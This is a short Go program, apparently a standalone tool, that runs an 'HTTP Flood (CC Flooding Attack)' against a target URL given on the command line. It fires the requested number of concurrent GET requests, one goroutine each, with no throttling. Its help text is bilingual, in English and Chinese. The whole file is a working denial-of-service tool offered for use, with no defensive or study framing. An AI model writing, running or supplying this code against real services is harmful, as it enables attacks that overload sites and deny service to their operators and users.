package main

import (
	"fmt"
	"net/http"
	"os"
	"strconv"
	"sync"
)

func showHelp() {
	fmt.Println("Usage: go run http_flood_attack.go [options] <target_url> <num_requests>")
	fmt.Println("Options:")
	fmt.Println("  -h, --help     Display this help message")
	fmt.Println("  中文: <target_url> 是目标URL， <num_requests> 是要发送的HTTP请求数量。")
	os.Exit(0)
}

func main() {
	if len(os.Args) != 3 || os.Args[1] == "-h" || os.Args[1] == "--help" {
		showHelp()
	}

	targetURL := os.Args[1]
	numRequests, err := strconv.Atoi(os.Args[2])
	if err != nil || numRequests <= 0 {
		fmt.Println("Error: <num_requests> must be a positive integer.")
		os.Exit(1)
	}

	fmt.Printf("Starting HTTP Flood attack on %s...\n", targetURL)

	var wg sync.WaitGroup
	for i := 0; i < numRequests; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			resp, err := http.Get(targetURL)
			if err != nil {
				fmt.Println("Error sending HTTP request:", err)
				return
			}
			defer resp.Body.Close()
		}()
	}
	wg.Wait()

	fmt.Println("HTTP Flood (CC Flooding Attack) attack completed.")
}